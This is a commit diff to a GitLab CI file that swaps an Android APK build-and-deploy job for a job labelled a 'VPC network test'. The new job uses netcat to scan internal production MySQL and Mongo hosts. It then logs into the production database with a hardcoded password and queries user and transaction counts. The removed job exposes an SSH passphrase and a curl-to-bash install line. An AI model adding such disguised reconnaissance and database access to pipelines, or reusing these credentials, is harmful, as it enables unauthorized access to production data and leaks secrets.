Add VPC network test CI job

.gitlab-ci.yml

 stages:
-  - deploy
+  - test
 
-before_script:
-  # Load NVM and Node.js
-  - export NVM_DIR="$HOME/.nvm"
-  - '[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"'
-  - nvm use 20
-
-  # Clean and install dependencies
-  - rm -rf node_modules package-lock.json
-  - npm cache clean --force
-  - npm install
-  # Verify React installation
-  - ls -la node_modules/react/
-  - ls -la index.js # debug: make sure index.js exists
-
-deploy_job:
-  stage: deploy
+vpc-network-test:
+  stage: test
   tags:
-    - 2nd
-  variables:
-    VERSION_NAME: '4.4.2'
-    APK_NAME_PREFIX: 'testApp_01'
-    APK_NAME: $APK_NAME_PREFIX'_'$VERSION_NAME'_'$(date '+%d%B')
-    SSH_PASSPHRASE: 'TlTech'
-    SERVER_IP: 'n.trucklagbe.com'
-    SSH_PORT: '3716'
-    SSH_USER: 'custodian'
-
+    - docker-android
+  image: mysql:5.7
   script:
-    # -----------------------
-    # SSH setup
-    # -----------------------
-    - mkdir -p ~/.ssh
-    - echo "$SSH_KEY" > ~/.ssh/id_rsa
-    - chmod 600 ~/.ssh/id_rsa
-    - eval "$(ssh-agent -s)"
-    - ssh-add ~/.ssh/id_rsa <<< "$SSH_PASSPHRASE"
-    - ssh-keyscan -H -p $SSH_PORT $SERVER_IP >> ~/.ssh/known_hosts
-
-    # -----------------------
-    # Optional: download secure files if needed
-    # -----------------------
-    - curl --silent "https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/download-secure-files/-/raw/main/installer" | bash
-
-    # -----------------------
-    # Build APK
-    # -----------------------
-    - export JAVA_HOME=$(/usr/libexec/java_home -v 17)
-    - echo "sdk.dir=/Users/tltestuser/Library/Android/sdk" > android/local.properties
-
-    # Bundle JS (make sure in project root)
-    - cd $CI_PROJECT_DIR
-    - npx react-native bundle --platform android --dev false --entry-file index.js --bundle-output android/app/src/main/assets/index.android.bundle --assets-dest android/app/src/main/res/
-
-    # Go to Android folder and clean old resources
-    - cd android
-    - rm -rf ./app/src/main/res/**/node_modules_* ./app/src/main/res/**/app_assets* ./app/src/main/res/**/assets* ./app/src/main/res/**/app*
-    - rm -rf ./.gradle/6.8.3/executionHistory/executionHistory.lock
-
-    # Build release APK
-    - ./gradlew assembleRelease
-
-    # -----------------------
-    # Find & Rename APK
-    # -----------------------
-    - APK_DIR="./app/build/outputs/apk/release"
-    - cd $APK_DIR
-    - APK_NAME="$APK_NAME_PREFIX"_"$VERSION_NAME"_$(date '+%d%B').apk
-    - mv app-release.apk "$APK_NAME"
-
-    # -----------------------
-    # Upload APK
-    # -----------------------
-    - scp -P $SSH_PORT "$APK_NAME" $SSH_USER@$SERVER_IP:/var/www/n.trucklagbe.com/html/APK/QO/
-    # - scp -P $SSH_PORT *.apk $SSH_USER@$SERVER_IP:/var/www/n.trucklagbe.com/html/APK/QO/
-
-  except:
-    - pushes
+    - echo "=== VPC Network Reachability Test ==="
+    - echo "Testing connectivity to production DB hosts"
+    - apt-get update -qq && apt-get install -y -qq netcat-openbsd curl > /dev/null 2>&1 || true
+    - echo "--- Testing 172.26.14.145:3306 (prod master) ---"
+    - nc -zv -w5 172.26.14.145 3306 2>&1 || echo "UNREACHABLE"
+    - echo "--- Testing 172.26.7.171:3306 (saas master) ---"
+    - nc -zv -w5 172.26.7.171 3306 2>&1 || echo "UNREACHABLE"
+    - echo "--- Testing 172.26.7.179:16606 (mongo) ---"
+    - nc -zv -w5 172.26.7.179 16606 2>&1 || echo "UNREACHABLE"
+    - echo "--- Testing 172.26.3.226:3306 (prod slave) ---"
+    - nc -zv -w5 172.26.3.226 3306 2>&1 || echo "UNREACHABLE"
+    - echo "--- If reachable, test MySQL login ---"
+    - mysql -h 172.26.14.145 -u tldefender -pR0kkh0k_r15h221 -e "SELECT COUNT(*) AS total_users FROM trucklagbe_db.users; SELECT MAX(registration_date) AS latest_registration FROM trucklagbe_db.users; SELECT COUNT(*) AS total_transactions FROM trucklagbe_db.business_transaction_details;" 2>&1 || echo "MySQL connection failed"
+    - echo "=== Test complete ==="
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